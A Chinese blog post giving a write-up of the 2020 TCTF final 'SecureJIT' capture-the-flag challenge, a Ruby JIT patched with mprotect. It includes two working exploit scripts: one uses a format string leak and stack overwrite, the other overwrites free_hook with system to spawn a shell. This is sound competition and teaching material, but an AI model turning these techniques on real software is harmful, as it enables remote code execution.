风之栖息地

2020 TCTF final SecureJIT writeup

字数统计: 754阅读时长: 3 min
2020/10/12 Share

第一次打final 被打的头都炸了,555555。过去三周了,还是水一下这道签到题。

题目情况

作者搞到了一个ruby的jit——rubi,其中打了patch,让执行代码的区域变成不可写的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/engine.c b/engine.c
index 79e83d2..2350d59 100644
--- a/engine.c
+++ b/engine.c
@@ -137,6 +137,11 @@ static int execute(char *source)
init();
lex(source);
parser();
+ long memsz = 0xFFFF + 1;
+ if (mprotect(ntvCode, memsz, PROT_READ | PROT_EXEC)) {
+ perror("mprotect");
+ exit(1);
+ }
((int (*)(int *, void **)) ntvCode)(0, funcTable);
dispose();
return 0;

对于防护,有一个思路就是寻找那些没有被保护的地方,这个只保护了ruby代码区域,没有保护其他的栈或者一些特殊符号比如free_hook和malloc_hook。

漏洞点

1.格式化字符串漏洞

2.堆溢出二连,分别溢出了变量名和函数名

但是这个堆溢出有点无用,溢出之后无法有效控制

3.数组任意读写

这个威力很大,利用读取操作获得libc地址之后,可以直接改free_hook和malloc_hook。

方法一 利用格式化字符串

格式化字符串先泄露出libc地址,这个程序由于是32位的,所以会在栈上存储变量,这就给了我们向栈空间写数据的机会,可以输入很多参数的printf,覆盖栈空间的数据劫持控制流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
fp = fopen("/tmp/t", "w")
fprintf(fp, "%15$p %13$p")
fclose(fp)
text:string = Array(100)
fp = fopen("/tmp/t", "r")
fgets(text, 100, fp)
fclose(fp)
printf "%s\n", text
base:int = 0
for i = 2, i < 10, i++
value = text[i] - '0'
if 'a' <= text[i] and text[i] <= 'z'
value = text[i] - 'a' + 10
end
base = base * 16 + value
end
libc:int = 0
for i = 13, i < 21, i++
value = text[i] - '0'
if 'a' <= text[i] and text[i] <= 'z'
value = text[i] - 'a' + 10
end
libc = libc * 16 + value
end
#libc = libc - 1001401 # 1001081
libc = libc - 1001081
#sys = libc + 250448 # 250368
sys = libc + 250368
#bin_sh = libc + 1565647 # 1564879
bin_sh = libc + 1564879
gadget = 0
printf "%x\n", base
printf "%x\n", libc
printf "%d", gadget, gadget, gadget, gadget, gadget, bin_sh, sys, gadget, gadget, sys, gadget, gadget, gadget, gadget, gadget, sys, gadget, bin_sh

方法二 直接利用数组任意读写

首先在进入ruby执行空间的时候,eax为函数表地址,所以可以直接用[3]获得到malloc的地址,这样我们就能够计算出libc地址,得到free_hook的地址,直接写入system,然后free(‘/bin/sh’)拿到shell。

1
2
3
4
x = [3]
a:string = Array(100)
a[x - a - 503040 + 1939664] = x - 503040 + 250448
free("/bin/sh")

总结

看程序的时候,多注意一些危险操作,比如字符串读写,内存块读写,悬挂指针问题等等。在检查保护机制的时候,注意它的保护范围和保护原理,像这道题只保护了ruby代码执行区域我们可以在其他地方写数据来绕过,之前做的一道ptrace沙箱题目,绕过它的方法是利用系统中断int3,强制进入一次系统中断让ptrace的检测点失效,从而绕过对系统调用的检测。

https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247484959&idx=1&sn=5919e45456c131ac9392d875c34e0719&chksm=ce4b2d88f93ca49e1771586284fe75e12fdbfa63b1f6c7e6e5ae01ada49a20cca0aa7a807b8a&mpshare=1&scene=23&srcid=0929Rl2bA4BazcX9HRFNQeKd&sharer_sharetime=1601383291632&sharer_shareid=2bfea3a1914646ead630f87d9dbd3069%23rd

CATALOG
  1. 1. 题目情况
  2. 2. 漏洞点
  3. 3. 方法一 利用格式化字符串
  4. 4. 方法二 直接利用数组任意读写
  5. 5. 总结